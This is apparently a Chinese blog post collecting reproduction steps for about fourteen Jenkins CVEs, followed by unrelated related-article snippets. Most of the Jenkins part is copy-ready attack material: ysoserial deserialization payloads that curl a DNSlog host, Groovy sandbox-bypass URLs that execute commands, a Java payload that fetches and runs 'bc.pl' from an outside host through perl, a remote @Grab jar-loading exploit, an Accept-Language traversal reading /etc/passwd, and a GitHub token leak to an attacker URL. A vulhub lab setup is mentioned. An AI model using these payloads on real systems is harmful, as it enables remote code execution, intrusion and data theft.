jenkins漏洞集合
目录
CVE-2015-8103 反序列化远程代码执行
CVE-2016-0788 Jenkins CI和LTS 远程代码执行漏洞
CVE-2016-0792 低权限用户命令执行
CVE-2016-9299 代码执行
CVE-2017-1000353 Jenkins-CI 远程代码执行
CVE-2018-1000110 用户枚举
CVE-2018-1000861 远程命令执行
CVE-2018-1999002 任意文件读取
CVE-2018-1000600 Jenkins GitHub 信息泄露
CVE-2019-1003000 远程代码执行
CVE-2019-1003005 远程代码执行
CVE-2019-1003029 Script Security Plugin沙箱绕过
CVE-2019-10392 Jenkins Git 插件命令执行
CVE-2019-10352 任意文件写入
复现文章和脚本大都是网上收集,大部分能找到出处的,个别找不到明确的地址。
CVE-2015-8103 反序列化远程代码执行
1.638之前的Jenkins和1.625.2之前的LTS中的Jenkins CLI子系统,允许远程攻击者通过制作的序列化Java对象执行有问题的commons-collections。
利用脚本:https://github.com/LeoHuang2015/jenkins-cli-exploit
执行后有类似如下反应:
还可以使用msf中的模块exploit/linux/misc/jenkins_java_deserialize
来执行攻击反弹shell。
CVE-2016-0788 Jenkins CI和LTS 远程代码执行漏洞
CloudBeesJenkinsCI1.650之前版本和LTS1.642.2之前版本的remoting模块中存在安全漏洞。远程攻击者可通过打开JRMP监听程序利用该漏洞执行任意代码。
利用需要X-Jenkins-CLI2-Port对应的端口,如果Jenkins无法获取CLI版本2的端口标头“ X-Jenkins-CLI2-Port”,它会退回到版本1。
利用ys生成二进制文件:java -jar ysoserial.jar CommonsCollections3 "curl http://r9rub4.ceye.io/" > payload.bin
利用脚本:https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py
发送的二进制文件实际上是十六进制的(<===[JENKINS REMOTING CAPACITY]===>)与其后base64的编码构成。使用类似反应如下:
CVE-2016-0792 低权限用户命令执行
影响版本:jenkins小于 1.650
利用脚本:https://github.com/jpiechowka/jenkins-cve-2016-0792
执行后类似如下
CVE-2016-9299 代码执行
2.32之前的Jenkins和2.19.3之前的LTS中的远程处理模块允许远程攻击者通过精心制作的序列化Java对象执行任意代码,从而触发对第三方服务器的LDAP查询。
关于这个漏洞的分析和代码利用,已经有详细的分析文章:https://paper.seebug.org/199/
msf有成熟的利用模块:exploit/linux/misc/jenkins_ldap_deserialize
CVE-2017-1000353 Jenkins-CI 远程代码执行
影响版本:Jenkins<=2.56。Jenkins LTS <= 2.46.1
下载pochttps://github.com/vulhub/CVE-2017-1000353
执行生成字节码文件。
java -jar CVE-2017-1000353-SNAPSHOT-all.jar jenkins_poc.ser "curl http://xxx.ceye.io"
利用py文件来进行发送
python exploit.py http://x.x.x.x:8080 jenkins_poc.ser
会有如下反应
CVE-2018-1000110 用户枚举
模糊搜索:http://x.x.x.x:8080/search/?q=a
http://x.x.x.x:8080/search/suggest?query=a
如果git插件小于3.7,也可以使用如下
http://x.x.x.x:8080/git/search/?q=a
http://x.x.x.x:8080/git/search/suggest?query=a
CVE-2018-1000861 远程命令执行
可以使用如下的一键化脚本
https://github.com/orangetw/awesome-jenkins-rce-2019
也可以自定义发送请求
http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl http://xxx.ceye.io/CVE-2018-1000861".execute()}}
页面返回空白,响应为
如果使用脚本,则同样效果
还可以使用的POC,使用会提示错误信息,但命令已执行。
/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7bassert+java.lang.Runtime.getRuntime().exec("curl http://xxx.ceye.io/CVE-2018-1000861")%7d)%0aclass+Person%7b%7d
/securityRealm/user/test/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=import+groovy.transform.*%0a%40ASTTest(value%3d%7b+"curl http://xxx.ceye.io/CVE-2018-1000861".execute().text+%7d)%0aclass+Person%7b%7d
环境搭建
参考:Vulhub - Docker-Compose file for vulnerability environment
执行如下命令启动一个Jenkins 2.138,包含漏洞的插件也已经安装:
docker-compose up -d
环境启动后,访问http://your-ip:8080
即可看到一个已经成功初始化的Jenkins,无需再进行任何操作。
漏洞复现
使用 @orangetw 给出的一键化POC脚本,发送如下请求即可成功执行命令:
-
http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript
-
?sandbox=true
-
&value=public class x {
-
public x(){
-
"touch /tmp/success".execute()
-
}
-
}
/tmp/success
已成功创建:
CVE-2018-1999002 任意文件读取
影响版本:Jenkins weekly 2.132 以及更早的版本。Jenkins LTS 2.121.1 以及更早的版本
可以读取Windows系统服务器中的任意文件,且在特定而条件下也可以读取Linux系统服务器中的文件.
详情:https://xz.aliyun.com/t/2486
结合payload来看,我们请求的url为/plugin/credentials/.ini
,则base
为空,扩展名(ext变量)即为.ini
,然后通过一系列的尝试openURL,在此例中即最后一个情形con = openURL(map(base+'_'+ locale.getLanguage()+ext));
,会去请求_../../../../../../../../../../../../windows/win.ini
,尽管目录_..
并不存在,但在win下可以直接通过路径穿越来绕过。但在linux,则需要一个带有_
的目录来想办法绕过。
需要已经开启了匿名用户读取权限,在请求头中添加
Accept-Language: /../../../../../../../../etc/passwd
处理请求中的包含路径,比如/plugin/xxxx,可以尝试
/plugin/jquery-detached/.xml
/plugin/jquery-detached/.key
/plugin/credentials/.ini
在Windows下这么使用
-
GET /plugin/credentials/.ini HTTP/1.1
-
Host: x.x.x.x:8080
-
Accept: text/javascript, text/html, application/xml, text/xml, */*
-
X-Prototype-Version: 1.7
-
DNT: 1
-
X-Requested-With: XMLHttpRequest
-
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36
-
Origin: http://x.x.x.x:8080
-
Referer: http://x.x.x.x:8080/
-
Accept-Encoding: gzip, deflate
-
Accept-Language: /../../../../../../../../etc/passwd
-
Cookie: JSESSIONID.450017e3=x6kdpnkcgllh18wvlaohsqq8z; screenResolution=1920x1080; JSESSIONID.ccf0cd96=node09crp5bs5eglyrv874no3w48l0.node0; JSESSIONID.6551b177=14vcq2nsop6bw1u8urepj65kwv; td_cookie=1608956971
-
Connection: close
CVE-2018-1000600 Jenkins GitHub 信息泄露
影响版本:Jenkins GitHub插件小于1.29.1
利用的POC为,其中user1为用户名。
/securityRealm/user/user1/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://xxx.ceye.io
执行后显示
查看DNSlog回显
CVE-2019-1003000 远程代码执行
实际影响版本及编号:CVE-2019-1003000 (Script Security), CVE-2019-1003001 (Pipeline: Groovy), CVE-2019-1003002 (Pipeline: Declarative)
拥有Overall/Read 权限的用户可以绕过沙盒保护,在jenkins可以执行任意代码。此漏洞需要一个账号密码和一个存在的job。受影响插件版本:Pipeline: Declarative 插件 <= 1.3.4。Pipeline: Groovy 插 件 <= 2.61。Script Security 插 件 <= 1.49。
下载环境和利用代码:https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git
执行利用后显示
我们的job中也被添加了如下
CVE-2019-1003005 远程代码执行
受影响版本:
Jenkins 2.53
Jenkins 2.122
Jenkins 2.137
Jenkins 2.138 启用匿名读取
Jenkins 2.152 启用匿名读取
Jenkins 2.153 启用匿名读取
Script Security Plugin 1.43
Script Security Plugin 1.48
下载利用脚本:https://github.com/orangetw/awesome-jenkins-rce-2019
构建环境后,执行脚本如下
显示如下
当然如果不想使用这种一键式脚本还可以自己构造jar来利用
创建Payload.java
-
public class Payload {
-
public Payload(){
-
try {
-
String payload = "curl orange.tw/bc.pl | perl -";
-
String[] cmds = {"/bin/bash", "-c", payload};
-
java.lang.Runtime.getRuntime().exec(cmds);
-
} catch (Exception e) { }
-
}
-
}
编译文件,创建META-INF/services/文件夹,同时在文件夹下创建名为org.codehaus.groovy.plugins.Runners的文件。内容随意,比如Payload
文件创建后,在某一目录下,文件树类似如下:
编译以上目录jar cvf poc-1.jar code/
将编译产生的文件移动到类似如下地址cp poc-1.jar ~/www/code/payload/poc/1/
将www目录移动到web服务器中,地址类似:http://xxx.com/code/payload/poc/1.poc-1.jar
利用如下exp
-
http://<TARGET HOST>/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
-
?value=
-
@GrabConfig(disableChecksums=true)%0a
-
@GrabResolver(name='payload', root='http://<EXPLOIT HOST>')%0a
-
@Grab(group='package', module='payload', version='1')%0a
-
import Payload;
CVE-2019-1003029 Script Security Plugin沙箱绕过
此漏洞和CVE-2019-1003005漏洞同样都是由Script Security插件引起。利用方式和上一致。影响版本1.55以下。
CVE-2019-10392 Jenkins Git 插件命令执行
之前做过这个漏洞的复现,地址:CVE-2019-10392 Jenkins 2k19认证远程RCE ~ Misaki's Blog
CVE-2019-10352 任意文件写入
该漏洞使经过身份验证的具有Job/Configure权限的攻击者可以使用目标之外的文件名定义文件参数,从而导致任意文件写入。
创建一个名为test的新“自由式项目”(该项目的工作空间将位于JENKINS_HOME/workspace/test)
相关文章:
jenkins漏洞集合
目录 CVE-2015-8103 反序列化远程代码执行 CVE-2016-0788 Jenkins CI和LTS 远程代码执行漏洞 CVE-2016-0792 低权限用户命令执行 CVE-2016-9299 代码执行 CVE-2017-1000353 Jenkins-CI 远程代码执行 CVE-2018-1000110 用户枚举 CVE-2018-1000861 远程命令执行 CVE-2018…...
用canvas画一个炫酷的粒子动画倒计时
前言 😆 这是一篇踩在活动尾声的文章,主要是之前在摸鱼社群里有人发了个粒子动画的特效视频,想着研究研究写一篇文章出来看看,结果这一下子就研究了半个多月。 😂 下面就把研究成果通过文字的形式展现出来吧…...
Java技术学习——Maven相关知识
一、什么是Maven? Maven是Apache软件基金会组织维护的一款专门为Java项目提供构建和依赖管理支持的工具。 1.1 构建 构建过程包含的主要环节如下: 清理:删除上一次构建的结果,为下一次构建做好准备编译:Java源程序…...
C++ 认识和了解C++
1.在使用C语言写代码的时候开头要用到的是: #include<iostream> using namespace std;不可以写成这样: #include iostream.h(1)iostream是输入输出流类, istream输入流类 cin >> ostream输出流类 cout &…...
u盘误删的文件怎么找回
u盘误删的文件怎么找回?u盘的特点之一就是极其便携,可以容纳各种格式的数据和文件,需要时可以直接使用。每次使用都会或多或少的存放一些文件,但有使用就会有删除,为了不影响使用性,清理存储空间是必要的。清理中如果…...
二分查找由浅入深--算法--java
二分查找写在开头算法前提:算法逻辑算法实现简单实现leftright可能超过int表示的最大限度代码分析和变换更多需求:求索引最小的值java二分API应用基础题思考难度方法写在开头 二分查找应该是算比较简单的这种算法了,我本以为还可以。但有时候…...
【学习】笔记本电脑重新安装系统win10
安装系统有很多方法: 软件安装制作启动u盘本文使用的方法就是启动盘安装: 1.首先下载iso镜像文件: msdn我告诉你:MSDN, 我告诉你 - 做一个安静的工具站 (itellyou.cn) 2.下载启动盘制作工具: 制作启动盘rufus:Rufus - 轻松创建 USB 启动盘 3.官网下载: https://do…...
RocketMQ的一些使用理解
1.RocketMQ的生产者生产负载策略(3种) (1)SelectMessageQueueByHash (一致性hash) (2)SelectMessageQueueByMachineRoom (机器随机) (3)SelectMessageQueueByRandom (随机) 第1种一…...
Java枚举详解
一.枚举 1.为什么有枚举? 如果我们的程序需要表示固定的几个值: 比如季节:spring (春),summer(夏),autumn(秋),winter(冬) 用常量表示: public static final int SEASON_SPRING 1;public st…...
虚拟机上安装openKylin详细步骤总结
一、创建虚拟机 首先获取操作系统安装镜像文件: 链接:https://pan.baidu.com/s/1tSuXmDk2ZILR4ieee6iImw?pwdcy47 提取码:cy47 (1-1)进入新虚拟机创建向导,选择“自定义”: (1-…...
夜天之书 #74 企业开源的软件协议模型实践(Part 2)
在上一篇文章中,我介绍了企业开源的完全开放源码策略及其风险。完全开放源码,即以符合开源定义的软件协议发布企业自研软件的情形。本文介绍应对完全开放源码后的风险的第一种策略:提高市场占有率与开放标准。与其说是策略,不如说…...
2.webpack实时打包
简介 上一章已经实现了使用 webpack 构建了一个简单的项目;但是我们发现,每次修改了 index.js 需要重新执行 cnpm run dev 命令重新构建 main.js;这在开发阶段是无法忍受的,因为这样调式将浪费大量的时间;还好 webpac…...
KingbaseES V8R3 表加密
前言 透明加密是指将数据库page加密后写入磁盘,当需要读取对应page时进行加密读取。此过程对于用户是透明, 用户无需干预。 该文档进行数据库V8R3版本测试透明加密功能,需要说明,该版本发布时间早于V8R6,所以只能进行表…...
2 为社么软件架构很重要?
2 为社么软件架构很重要? 啊,建造,建造! 这是所有艺术中最崇高的艺术。 — 亨利沃兹沃思朗费罗 如果架构是答案,那么问题是什么? 本章从技术角度重点介绍架构的重要性。我们将研究面包师的十几个最重要…...
Python 之 Pandas merge() 函数、set_index() 函数、drop_duplicates() 函数和 tolist() 函数
文章目录一、merge() 函数1. inner2. left 和 right3. outer二、set_index() 函数三、drop_duplicates() 函数四、tolist() 函数五、视频数据分析案例1. 问题要求2. 解决过程在最开始,我们先导入常规的 numpy 和 pandas 库。 import numpy as np import pandas as …...
MySQL实战之深入浅出索引(下)
1.前言 在上一篇文章中,我们介绍了InnoDB索引的数据结构模型,今天我们再继续聊一下跟MySQL索引有关的概念。 在介绍之前,我们先看一个问题: 表初始化语句 mysql> create table T ( ID int primary key, k int NOT NULL DEFA…...
(二分查找)leetcode1539. 第 k 个缺失的正整数
文章目录一、题目1、题目描述2、基础框架3、原题链接二、解题报告1、思路分析2、时间复杂度3、代码详解三、本题小知识一、题目 1、题目描述 给你一个 严格升序排列 的正整数数组 arr 和一个整数 k 。 请你找到这个数组里第 k 个缺失的正整数。 示例 1: 输入&…...
yaml文件格式详解及实例
🍁博主简介 🏅云计算领域优质创作者 🏅华为云开发者社区专家博主 🏅阿里云开发者社区专家博主 💊交流社区:运维交流社区 欢迎大家的加入! 文章目录yaml简介yaml语法规则Yaml语法实例数组…...
AOP在PowerJob中的使用,缓存锁保证并发安全,知识细节全总结
这是一篇简简单单的文章,需要你简简单单看一眼就好,如果有不明白的地方,欢迎留言讨论。 在之前的文章中出现过一次AOP的使用,就是在运行任务之前,需要判断一下,触发该任务执行的server,是不是数…...
对账平台设计
背景 随着公司业务的蓬勃发展,交易履约清结算业务的复杂性也在不断的增高,资金以及各种数据的一致性和准确性也变得越发重要。 以交易链路为例,存在着如下一些潜在的不一致场景: 订单支付成功了,但是订单状态却还是“…...
JavaEE进阶第五课:SpringBoot的创建和使用
上篇文章介绍了Bean 作用域和生命周期,这篇文章我们将会介绍SpringBoot的创建和使用 目录1.为什么要学习StringBoot1.1什么是SpringBoot1.2SpringBoot的优点2.如何用Idea创建SpringBoot项目3.项目目录介绍和运行3.1输入Helloworld结尾1.为什么要学习StringBoot 在前…...
我带过的一名C++实习生——Z同学
刚开始带Z同学,吃饭聊天时,我顺便了解了下他的擅长:linux平台下C、C网络编程。 接下来的实习,主要分为两个阶段:小组公共培训和项目实训。 小组公共培训为期2周,主要学习和了解公司文化制度,讲师…...
面试题13. 机器人的运动范围
面试题13. 机器人的运动范围 难度:middle\color{orange}{middle}middle 题目描述 地上有一个 mmm 行 nnn 列的方格,从坐标 [0,0][0,0][0,0] 到坐标 [m−1,n−1][m-1,n-1][m−1,n−1] 。一个机器人从坐标 [0,0][0, 0][0,0] 的格子开始移动,它…...
LeetCode189_189. 轮转数组
LeetCode189_189. 轮转数组 一、描述 给定一个整数数组 nums,将数组中的元素向右轮转 k 个位置,其中 k 是非负数。 示例 1: 输入: nums [1,2,3,4,5,6,7], k 3 输出: [5,6,7,1,2,3,4] 解释: 向右轮转 1 步: [7,1,2,3,4,5,6] 向右轮转 2 步: [6,7,1,…...
java Files和Paths的使用详解 附有使用demo
前言 Java Files和Paths是Java 7中引入的新API,用于处理文件和目录。Files类提供了许多有用的静态方法来操作文件和目录,而Path类则表示文件系统中的路径。 创建文件和目录 在Java中创建文件和目录非常简单。我们可以使用Files类的createFile()方法和…...
如何使用ApacheTomcatScanner扫描Apache Tomcat服务器漏洞
关于ApacheTomcatScanner ApacheTomcatScanner是一个功能强大的Python脚本,该脚本主要针对Apache Tomcat服务器安全而设计,可以帮助广大研究人员轻松扫描和检测Apache Tomcat服务器中的安全漏洞。 功能介绍 1、支持使用多线程Worker搜索Apache Tomcat服…...
js中的定时器 setTimeout()和setInterval()
JavaScript 定时器,有时也称为“计时器”,用来在经过指定的时间后执行某些任务,类似于我们生活中的闹钟。 在 JavaScript 中,我们可以利用定时器来延迟执行某些代码,或者以固定的时间间隔重复执行某些代码。例如&…...
【吃透Js】深入学习浅拷贝和深拷贝
一、JavaScript数据类型原始类型对象类型二、原始类型和对象类型的区别1.原始类型2.引用类型3.复制4.比较5.值传递三、浅拷贝概念实现方法四、深拷贝概念五、浅拷贝、深拷贝和赋值的区别浅拷贝和赋值六、小结想要真正搞明白深浅拷贝,你必须要熟练掌握赋值、对象在内…...
AUTOSAR为啥要开发新的社区商业模式?
总目录链接>> AutoSAR入门和实战系列总目录 文章目录1 自适应平台架构中的集群更新1.1 ara::diag 服务(诊断)更新1.2 信号到服务映射和自动驾驶接口让我们讨论一下信号到服务映射服务:Automated Driving Interface:2 车载应用商店概念本文介绍Re…...
数据结构和算法面试常见题必考以及前端面试题
1.数据结构和算法 1.1 反转单向链表 public class Node {public int value;public Node next; }public Node reverseList(Node head) {Node pre null;Node next null;while (head ! null) {next head.next;head.next pre;pre head;head head.next}return pre; }1.2 在顺…...
网站如何分页/代写新闻稿
大学之道,在明明德,在亲民,在止于至善。 人生有很多时间会感到无聊,港片里面有一句很经典的话叫做:“做人就是要开心啦。” 实际上,开心有很多种。有一句话,叫做:“独乐乐不如众乐乐…...
网站关停公告怎么做/百度竞价排名魏则西事件分析
2019独角兽企业重金招聘Python工程师标准>>> ie7和ff默认是支持max-height,但是ie6、Chrome不支持该写法,如果让让max-height在ie6,Chrome都兼容呢,需要写上: 1、最小高度 min-height : 200px; _height:expression_r(this.scrollHeight < …...
ps如何做网站专题/推广手段
Windows 10 家庭组其实特别好用,但是使用过程中也可能会遇到一些问题。常见的现象有:在建立或加入家庭组时,显示“Windows 无法在此计算机上设立家庭组”;或者无法启动 Peer Name Resolution Protocol 和 Peer Networking Groupin…...
网站建设书籍资料/企业怎么做好网站优化
在解决问题之前,要先弄懂问题是什么,可以先向面试官阐述自己的思想,有时候可以借助画图的方法来让自己的想法更加直观。 题目:请完成一个函数,输入一个二叉树,该函数输出它的镜像。 方法:递归调…...
网站pc端网址和手机端网址建设/网络营销方案设计
今日突发奇想,欲找一个在线的 语音留言系统。结果一搜索,出来结果甚少,大致如下: MyChingo:是一个 语音留言系统,它提供一个播放器,播放器的列表窗口中把读者的 语音留言全部列出来,…...
厦门建设局网站首页/石家庄百度推广排名优化
问题:实际司机看到的里程应该是27.9公里左右,但是最后结算变成了5公里。 排查:查看日志发现,在5公里所有进行了一个saveInstanceState,可能由于按下home键,或者被系统回收等原因导致,但是后台进程仍然记下了…...